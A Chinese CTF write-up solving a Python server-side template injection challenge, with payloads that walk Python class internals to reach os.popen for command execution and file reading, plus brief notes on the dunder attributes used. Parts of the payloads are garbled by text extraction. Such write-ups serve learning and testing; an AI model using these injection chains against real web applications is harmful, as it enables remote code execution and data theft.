题目描述: 暂无

http://220.249.52.133:31939

点开题目链接:

python template injection

是一道 python 模板注入的题,尝试一下:

http://220.249.52.133:31939/{{7*7}}

URL http://220.249.52.133:31939/49 not found

确实存在该漏洞。

看看网站模块都有些啥:

```
http://220.249.52.133:31939/{{[]. class . base . subclasses ()}}
```

URL http://220.249.52.133:31939/[<type 'type', <type 'weakref'>, <type 'weakcallabl' 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <

我们再查看catch warnings模块都存在哪些全局函数:

```
http://220.249.52.133:31939/{{[]._class_._base_._subclasses_()
```

[59].__init__.func_globals.keys()}}

URL http://220.249.52.133:31939/['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '_all__', 'onceregistry', '_package__', 'simplefilter', 'default_action', '_getcategory', '_builtins__', 'catch_warnings', '_file__', 'warnpy3k', 'sys', '_name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache' '_OptionError', 'resetwarnings', 'formatwarning', '_getaction'] not found

发现了 linecache 函数,os 模块就在其中。

使用 ['o'+'s'],可绕过对 os 字符的过滤, 查看一下有那些文件:

http://220.249.52.133:31939/{{().__class__._bases__[0].__subclasses__()

 $[59]._init_.func_globals.values()[13]['eval']('_import_("os").popen("ls").read()')\} \\$

URL http://220.249.52.133:31939/fl4g index.py not found

flag 应该就在这个 fl4g 文件中了,尝试访问一下:

http://220.249.52.133:31939/{{""._class_._mro_[2]._subclasses_()[40] ("fl4g").read()}}

URL http://220.249.52.133:31939/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found 得到 flag。

相关知识:

- 1. 对于模板注入漏洞,判断漏洞是否存在,一般在 url 后添加 {{ 'a'+'x'}} 或者 {{7*7}} 以查看是否会执行,若花括号内的式子被执行,则说明存在模板注入漏洞。
- 2. 用 python 获取系统权限

os.system 和 os.popen。前者返回退出状态码,后者以 file 形式返回输出内容。

(https://blog.csdn.net/sxingming/article/details/52071514)

3. 用python 语句寻找文件

__class__:返回对象所属的类

mro: 返回一个类所继承的基类元组 (用于寻找基类)

base: 返回该类所继承的基类 (用于寻找基类)

__subclasses__: 每个新类都保留了子类的引用,这个方法返回一个类中仍然可

用的引用的列表

init: 类的初始化方法

__globals__: 对包含函数全局变量的字典的引用